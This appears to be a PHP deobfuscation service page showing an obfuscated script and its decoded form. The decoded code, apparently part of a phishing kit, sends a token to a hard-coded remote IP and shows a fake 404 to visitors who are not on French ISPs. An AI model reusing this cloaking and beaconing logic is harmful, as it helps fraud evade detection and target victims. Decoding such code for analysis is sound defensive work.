Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto oSBkk; mfCgp: function getIpInfo($ip = '') { $ipinfo = file_get_contents("\x68\x74\16..

Decoded Output download

<?  goto oSBkk; mfCgp: function getIpInfo($ip = '') { $ipinfo = file_get_contents("http://ip-api.com/json/" . $ip); $ipinfo_json = json_decode($ipinfo, true); return $ipinfo_json; } goto koN49; vmtEX: if ($ipinfo_json["status"] != "fail") { $org = "{$ipinfo_json["as"]}"; $isps = "{$ipinfo_json["isp"]}"; } else { $org = "Introuvable"; $isps = "Introuvable"; } goto XM226; oD_bw: $ipinfo_json = getIpInfo($visitor_ip); goto vmtEX; V2wi6: $ip = $_SERVER["REMOTE_ADDR"]; goto mfCgp; bIjyR: $data = array("token" => $token); goto C7bdz; C7bdz: $context = stream_context_create(array("http" => array("header" => "Content-type: application/x-www-form-urlencoded\xd
", "method" => "POST", "content" => http_build_query($data)))); goto zGY6F; koN49: $visitor_ip = $_SERVER["REMOTE_ADDR"]; goto oD_bw; zGY6F: file_get_contents($url, false, $context); goto unhv5; unhv5: if (!isset($_SESSION)) { session_start(); } goto V2wi6; euZ3E: $token = $wall_e_token; goto vZH5w; oSBkk: include "params.php"; goto euZ3E; vZH5w: $url = "http://102.165.14.4:5000/receive_token?referrer=sarfita"; goto bIjyR; XM226: if (strpos($org, "Neuf") || strpos($org, "Bouygues") || strpos($org, "Orange") || strpos($org, "Sfr") || strpos($org, "SFR") || strpos($org, "Free") || strpos($org, "Wanadoo")) { } else { die("<h1> 404 ERROR </h1>"); } ?>

Did this file decode correctly?

Original Code

goto oSBkk; mfCgp: function getIpInfo($ip = '') { $ipinfo = file_get_contents("\x68\x74\164\x70\x3a\x2f\57\x69\x70\x2d\x61\x70\x69\56\x63\157\x6d\57\x6a\163\157\x6e\x2f" . $ip); $ipinfo_json = json_decode($ipinfo, true); return $ipinfo_json; } goto koN49; vmtEX: if ($ipinfo_json["\163\x74\x61\x74\165\x73"] != "\x66\x61\151\154") { $org = "{$ipinfo_json["\141\x73"]}"; $isps = "{$ipinfo_json["\151\163\x70"]}"; } else { $org = "\111\156\164\162\x6f\165\x76\x61\x62\154\145"; $isps = "\111\x6e\164\162\157\x75\166\x61\142\x6c\145"; } goto XM226; oD_bw: $ipinfo_json = getIpInfo($visitor_ip); goto vmtEX; V2wi6: $ip = $_SERVER["\x52\x45\115\x4f\124\x45\137\x41\104\104\x52"]; goto mfCgp; bIjyR: $data = array("\x74\157\x6b\x65\x6e" => $token); goto C7bdz; C7bdz: $context = stream_context_create(array("\x68\x74\x74\160" => array("\150\145\x61\x64\145\x72" => "\x43\x6f\156\x74\x65\156\164\55\164\171\160\145\x3a\40\x61\x70\x70\154\x69\x63\x61\164\151\157\156\x2f\x78\55\x77\167\x77\55\x66\157\162\x6d\55\x75\x72\154\145\156\143\157\x64\x65\144\xd\12", "\155\145\x74\x68\x6f\x64" => "\120\117\123\124", "\143\x6f\x6e\x74\x65\x6e\164" => http_build_query($data)))); goto zGY6F; koN49: $visitor_ip = $_SERVER["\122\x45\x4d\117\x54\x45\x5f\x41\104\x44\x52"]; goto oD_bw; zGY6F: file_get_contents($url, false, $context); goto unhv5; unhv5: if (!isset($_SESSION)) { session_start(); } goto V2wi6; euZ3E: $token = $wall_e_token; goto vZH5w; oSBkk: include "\x70\141\x72\141\x6d\x73\56\160\x68\160"; goto euZ3E; vZH5w: $url = "\x68\x74\164\x70\72\x2f\x2f\x31\x30\x32\56\x31\x36\65\56\x31\x34\x2e\x34\72\x35\60\x30\x30\x2f\162\145\143\x65\151\x76\x65\137\x74\x6f\153\145\x6e\x3f\x72\x65\146\x65\x72\x72\x65\162\75\163\141\162\x66\x69\164\x61"; goto bIjyR; XM226: if (strpos($org, "\x4e\145\x75\x66") || strpos($org, "\102\x6f\x75\x79\147\165\145\163") || strpos($org, "\117\x72\x61\156\x67\x65") || strpos($org, "\x53\x66\x72") || strpos($org, "\x53\106\122") || strpos($org, "\106\x72\145\x65") || strpos($org, "\x57\141\156\x61\x64\x6f\x6f")) { } else { die("\74\x68\61\76\40\64\x30\64\40\x45\x52\x52\x4f\x52\40\74\x2f\150\61\76"); }

Function Calls

None

Variables

None

Stats

MD5 1970baddfd5c46c902b6362371103337
Eval Count 0
Decode Time 34 ms